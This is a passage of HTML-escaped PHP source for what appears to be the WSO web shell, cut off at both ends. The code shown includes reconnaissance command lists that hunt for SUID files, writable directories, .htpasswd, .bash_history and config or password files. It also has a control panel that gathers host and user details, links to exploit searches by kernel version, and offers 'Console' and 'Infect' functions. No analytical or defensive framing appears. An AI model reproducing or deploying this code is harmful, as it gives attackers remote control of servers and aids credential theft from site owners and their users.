#006080&quot;&gt;&#39;c&#39;&lt;/span&gt;] ) )    @chdir($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;c&#39;&lt;/span&gt;]);$cwd = @getcwd();&lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( $os == &lt;span style=&quot;color: #006080&quot;&gt;&#39;win&#39;&lt;/span&gt;) {    $home_cwd = str_replace(&lt;span style=&quot;color: #006080&quot;&gt;&quot;\\&quot;, &quot;&lt;/span&gt;/&lt;span style=&quot;color: #006080&quot;&gt;&quot;, $home_cwd);    $cwd = str_replace(&quot;&lt;/span&gt;\\&lt;span style=&quot;color: #006080&quot;&gt;&quot;, &quot;&lt;/span&gt;/&lt;span style=&quot;color: #006080&quot;&gt;&quot;, $cwd);}if( $cwd[strlen($cwd)-1] != &#39;/&#39; )    $cwd .= &#39;/&#39;;    if($os == &#39;win&#39;)    $aliases = array(        &quot;&lt;/span&gt;List Directory&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;dir&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Find index.php in current dir&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;dir /s /w /b index.php&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Find *config*.php in current dir&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;dir /s /w /b *config*.php&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Show active connections&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;netstat -an&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Show running services&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;net start&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;User accounts&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;net user&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Show computers&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;net view&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;ARP Table&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;arp -a&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;IP Configuration&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;ipconfig /all&lt;span style=&quot;color: #006080&quot;&gt;&quot;    );else    $aliases = array(          &quot;&lt;/span&gt;List dir&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;ls -la&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;&lt;span style=&quot;color: #0000ff&quot;&gt;list&lt;/span&gt; file attributes on a Linux second extended file system&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;lsattr -va&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;show opened ports&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;netstat -an | grep -i listen&lt;span style=&quot;color: #006080&quot;&gt;&quot;,        &quot;&lt;/span&gt;Find&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find all suid files&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find / -type f -perm -04000 -ls&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find suid files in current dir&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find . -type f -perm -04000 -ls&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find all sgid files&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find / -type f -perm -02000 -ls&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find sgid files in current dir&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find . -type f -perm -02000 -ls&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find config.inc.php files&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find / -type f -name config.inc.php&lt;span style=&quot;color: #006080&quot;&gt;&quot;,          &quot;&lt;/span&gt;find config* files&lt;span style=&quot;color: #006080&quot;&gt;&quot; =&amp;gt; &quot;&lt;/span&gt;find / -type f -name \&lt;span style=&quot;color: #006080&quot;&gt;&quot;config*\&quot;&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find config* files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -type f -name \&quot;config*\&quot;&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all writable folders and files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find / -perm -2 -ls&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all writable folders and files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -perm -2 -ls&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all service.pwd files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find / -type f -name service.pwd&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find service.pwd files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -type f -name service.pwd&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all .htpasswd files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find / -type f -name .htpasswd&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find .htpasswd files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -type f -name .htpasswd&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all .bash_history files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find / -type f -name .bash_history&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find .bash_history files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -type f -name .bash_history&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find all .fetchmailrc files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find / -type f -name .fetchmailrc&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;find .fetchmailrc files in current dir&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;find . -type f -name .fetchmailrc&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;Locate&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;&quot;&lt;/span&gt;,          &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate httpd.conf files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate httpd.conf&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate vhosts.conf files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate vhosts.conf&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate proftpd.conf files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate proftpd.conf&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate psybnc.conf files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate psybnc.conf&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate my.conf files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate my.conf&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate admin.php files&quot;&lt;/span&gt; =&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;locate admin.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate cfg.php files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate cfg.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate conf.php files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate conf.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.dat files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.dat&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.php files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.inc files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.inc&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.inc.php&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.inc.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.default.php files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config.default.php&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config* files &quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate config&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .conf files&quot;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.conf&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .pwd files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.pwd&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .sql files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.sql&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .htpasswd files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.htpasswd&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .bash_history files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.bash_history&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .mysql_history files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.mysql_history&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate .fetchmailrc files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate &#39;.fetchmailrc&#39;&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate backup files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate backup&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate dump files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate dump&quot;&lt;/span&gt;,        &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate priv files&quot;&lt;/span&gt; =&amp;gt; &lt;span style=&quot;color: #006080&quot;&gt;&quot;locate priv&quot;&lt;/span&gt;        );&lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; printHeader() {    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(&lt;span style=&quot;color: #0000ff&quot;&gt;empty&lt;/span&gt;($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;charset&#39;&lt;/span&gt;]))        $_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;charset&#39;&lt;/span&gt;] = &lt;span style=&quot;color: #006080&quot;&gt;&quot;UTF-8&quot;&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;global&lt;/span&gt; $color;    ?&amp;gt;&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv=&lt;span style=&quot;color: #006080&quot;&gt;&#39;Content-Type&#39;&lt;/span&gt; content=&lt;span style=&quot;color: #006080&quot;&gt;&#39;text/html; charset=&amp;lt;?=$_POST[&#39;&lt;/span&gt;charset&lt;span style=&quot;color: #006080&quot;&gt;&#39;]?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;title&amp;gt;&amp;lt;?=$_SERVER[&lt;span style=&quot;color: #006080&quot;&gt;&#39;HTTP_HOST&#39;&lt;/span&gt;]?&amp;gt; - WSO &amp;lt;?=VERSION?&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;style&amp;gt;    body {background-color:#444;color:#e1e1e1;}    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }    table.info    { color:#fff;background-color:#222; }    span,h1,a    { color:&amp;lt;?=$color?&amp;gt; !important; }    span        { font-weight: bolder; }    h1            { border-left:5px solid &amp;lt;?=$color?&amp;gt;;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }    div.content    { padding: 5px;margin-left:5px;background-color:#333; }    a            { text-decoration:none; }    a:hover        { text-decoration:underline; }    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }    .bigarea    { width:100%;height:250px; }    input, textarea, select    { margin:0;color:#fff;background-color:#555;border:1px solid &amp;lt;?=$color?&amp;gt;; font: 9pt Monospace,&lt;span style=&quot;color: #006080&quot;&gt;&quot;Courier New&quot;&lt;/span&gt;; }    form        { margin:0px; }    #toolsTbl    { text-align:center; }    .toolsInp    { width: 300px }    .main th    {text-align:left;background-color:#5e5e5e;}    .main tr:hover{background-color:#5e5e5e}    .main td, th{vertical-align:middle}    .l1            {background-color:#444}    pre            {font-family:Courier,Monospace;}&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; set(a,c,p1,p2,p3,charset) {        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(a != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.a.value=a;        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(c != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.c.value=c;        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(p1 != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.p1.value=p1;        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(p2 != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.p2.value=p2;        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(p3 != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.p3.value=p3;        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(charset != &lt;span style=&quot;color: #0000ff&quot;&gt;null&lt;/span&gt;)document.mf.charset.value=charset;    }    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; g(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        document.mf.submit();    }    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; a(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        &lt;span style=&quot;color: #0000ff&quot;&gt;var&lt;/span&gt; params = &lt;span style=&quot;color: #006080&quot;&gt;&quot;ajax=true&quot;&lt;/span&gt;;        &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;(i=0;i&amp;lt;document.mf.elements.length;i++)            params += &lt;span style=&quot;color: #006080&quot;&gt;&quot;&amp;amp;&quot;&lt;/span&gt;+document.mf.elements[i].name+&lt;span style=&quot;color: #006080&quot;&gt;&quot;=&quot;&lt;/span&gt;+encodeURIComponent(document.mf.elements[i].value);        sr(&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=$_SERVER[&#39;&lt;/span&gt;REQUEST_URI&lt;span style=&quot;color: #006080&quot;&gt;&#39;];?&amp;gt;&#39;&lt;/span&gt;, params);    }    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; sr(url, params) {            &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (window.XMLHttpRequest) {            req = &lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt; XMLHttpRequest();            req.onreadystatechange = processReqChange;            req.open(&lt;span style=&quot;color: #006080&quot;&gt;&quot;POST&quot;&lt;/span&gt;, url, &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;);            req.setRequestHeader (&lt;span style=&quot;color: #006080&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;application/x-www-form-urlencoded&quot;&lt;/span&gt;);            req.send(params);        }         &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (window.ActiveXObject) {            req = &lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt; ActiveXObject(&lt;span style=&quot;color: #006080&quot;&gt;&quot;Microsoft.XMLHTTP&quot;&lt;/span&gt;);            &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (req) {                req.onreadystatechange = processReqChange;                req.open(&lt;span style=&quot;color: #006080&quot;&gt;&quot;POST&quot;&lt;/span&gt;, url, &lt;span style=&quot;color: #0000ff&quot;&gt;true&lt;/span&gt;);                req.setRequestHeader (&lt;span style=&quot;color: #006080&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;application/x-www-form-urlencoded&quot;&lt;/span&gt;);                req.send(params);            }        }    }    &lt;span style=&quot;color: #0000ff&quot;&gt;function&lt;/span&gt; processReqChange() {        &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( (req.readyState == 4) )            &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(req.status == 200) {                //alert(req.responseText);                &lt;span style=&quot;color: #0000ff&quot;&gt;var&lt;/span&gt; reg = &lt;span style=&quot;color: #0000ff&quot;&gt;new&lt;/span&gt; RegExp(&lt;span style=&quot;color: #006080&quot;&gt;&quot;(\\d+)([\\S\\s]*)&quot;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&quot;m&quot;&lt;/span&gt;);                &lt;span style=&quot;color: #0000ff&quot;&gt;var&lt;/span&gt; arr=reg.exec(req.responseText);                &lt;span style=&quot;color: #0000ff&quot;&gt;eval&lt;/span&gt;(arr[2].substr(0, arr[1]));            }             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; alert(&lt;span style=&quot;color: #006080&quot;&gt;&quot;Request error!&quot;&lt;/span&gt;);    }&amp;lt;/script&amp;gt;&amp;lt;head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;div style=&lt;span style=&quot;color: #006080&quot;&gt;&quot;position:absolute;width:100%;background-color:#444;top:0;left:0;&quot;&lt;/span&gt;&amp;gt;&amp;lt;form method=post name=mf style=&lt;span style=&quot;color: #006080&quot;&gt;&#39;display:none;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=a value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=isset($_POST[&#39;&lt;/span&gt;a&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?$_POST[&#39;&lt;/span&gt;a&lt;span style=&quot;color: #006080&quot;&gt;&#39;]:&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=c value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=htmlspecialchars($GLOBALS[&#39;&lt;/span&gt;cwd&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=p1 value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=isset($_POST[&#39;&lt;/span&gt;p1&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?htmlspecialchars($_POST[&#39;&lt;/span&gt;p1&lt;span style=&quot;color: #006080&quot;&gt;&#39;]):&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=p2 value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=isset($_POST[&#39;&lt;/span&gt;p2&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?htmlspecialchars($_POST[&#39;&lt;/span&gt;p2&lt;span style=&quot;color: #006080&quot;&gt;&#39;]):&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=p3 value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=isset($_POST[&#39;&lt;/span&gt;p3&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?htmlspecialchars($_POST[&#39;&lt;/span&gt;p3&lt;span style=&quot;color: #006080&quot;&gt;&#39;]):&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;input type=hidden name=charset value=&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;?=isset($_POST[&#39;&lt;/span&gt;charset&lt;span style=&quot;color: #006080&quot;&gt;&#39;])?$_POST[&#39;&lt;/span&gt;charset&lt;span style=&quot;color: #006080&quot;&gt;&#39;]:&#39;&lt;/span&gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;?&amp;gt;&#39;&lt;/span&gt;&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;?php    $freeSpace = @diskfreespace($GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cwd&#39;&lt;/span&gt;]);    $totalSpace = @disk_total_space($GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cwd&#39;&lt;/span&gt;]);    $totalSpace = $totalSpace?$totalSpace:1;    $release = @php_uname(&lt;span style=&quot;color: #006080&quot;&gt;&#39;r&#39;&lt;/span&gt;);    $kernel = @php_uname(&lt;span style=&quot;color: #006080&quot;&gt;&#39;s&#39;&lt;/span&gt;);    $millink=&lt;span style=&quot;color: #006080&quot;&gt;&#39;http://milw0rm.com/search.php?dong=&#39;&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;( strpos(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Linux&#39;&lt;/span&gt;, $kernel) !== &lt;span style=&quot;color: #0000ff&quot;&gt;false&lt;/span&gt; )        $millink .= urlencode( &lt;span style=&quot;color: #006080&quot;&gt;&#39;Linux Kernel &#39;&lt;/span&gt; . substr($release,0,6) );    &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt;        $millink .= urlencode( $kernel . &lt;span style=&quot;color: #006080&quot;&gt;&#39; &#39;&lt;/span&gt; . substr($release,0,3) );    &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt;(!function_exists(&lt;span style=&quot;color: #006080&quot;&gt;&#39;posix_getegid&#39;&lt;/span&gt;)) {        $user = @get_current_user();        $uid = @getmyuid();        $gid = @getmygid();        $group = &lt;span style=&quot;color: #006080&quot;&gt;&quot;?&quot;&lt;/span&gt;;    } &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {        $uid = @posix_getpwuid(@posix_geteuid());        $gid = @posix_getgrgid(@posix_getegid());        $user = $uid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;name&#39;&lt;/span&gt;];        $uid = $uid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;uid&#39;&lt;/span&gt;];        $group = $gid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;name&#39;&lt;/span&gt;];        $gid = $gid[&lt;span style=&quot;color: #006080&quot;&gt;&#39;gid&#39;&lt;/span&gt;];    }    $cwd_links = &lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;;    $path = explode(&lt;span style=&quot;color: #006080&quot;&gt;&quot;/&quot;&lt;/span&gt;, $GLOBALS[&lt;span style=&quot;color: #006080&quot;&gt;&#39;cwd&#39;&lt;/span&gt;]);    $n=count($path);    &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;($i=0;$i&amp;lt;$n-1;$i++) {        $cwd_links .= &lt;span style=&quot;color: #006080&quot;&gt;&quot;&amp;lt;a href=&#39;#&#39; onclick=&#39;g(\&quot;FilesMan\&quot;,\&quot;&quot;&lt;/span&gt;;        &lt;span style=&quot;color: #0000ff&quot;&gt;for&lt;/span&gt;($j=0;$j&amp;lt;=$i;$j++)            $cwd_links .= $path[$j].&lt;span style=&quot;color: #006080&quot;&gt;&#39;/&#39;&lt;/span&gt;;        $cwd_links .= &lt;span style=&quot;color: #006080&quot;&gt;&quot;\&quot;)&#39;&amp;gt;&quot;&lt;/span&gt;.$path[$i].&lt;span style=&quot;color: #006080&quot;&gt;&quot;/&amp;lt;/a&amp;gt;&quot;&lt;/span&gt;;    }    $charsets = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&#39;UTF-8&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;Windows-1251&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;KOI8-R&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;KOI8-U&#39;&lt;/span&gt;, &lt;span style=&quot;color: #006080&quot;&gt;&#39;cp866&#39;&lt;/span&gt;);    $opt_charsets = &lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;;    &lt;span style=&quot;color: #0000ff&quot;&gt;foreach&lt;/span&gt;($charsets &lt;span style=&quot;color: #0000ff&quot;&gt;as&lt;/span&gt; $item)        $opt_charsets .= &lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;option value=&quot;&#39;&lt;/span&gt;.$item.&lt;span style=&quot;color: #006080&quot;&gt;&#39;&quot; &#39;&lt;/span&gt;.($_POST[&lt;span style=&quot;color: #006080&quot;&gt;&#39;charset&#39;&lt;/span&gt;]==$item?&lt;span style=&quot;color: #006080&quot;&gt;&#39;selected&#39;&lt;/span&gt;:&lt;span style=&quot;color: #006080&quot;&gt;&#39;&#39;&lt;/span&gt;).&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;gt;&#39;&lt;/span&gt;.$item.&lt;span style=&quot;color: #006080&quot;&gt;&#39;&amp;lt;/option&amp;gt;&#39;&lt;/span&gt;;    $m = &lt;span style=&quot;color: #0000ff&quot;&gt;array&lt;/span&gt;(&lt;span style=&quot;color: #006080&quot;&gt;&#39;Sec. Info&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;SecInfo&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Files&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;FilesMan&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Console&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Console&#39;&lt;/span&gt;,&lt;span style=&quot;color: #006080&quot;&gt;&#39;Infect&#39;&lt;/span&gt;=&amp;gt;&lt;span style=&quot;color: #006080&quot;&gt;&#39;Infect&#39;&lt;/span&gt;,&lt;span style=&quot;color: 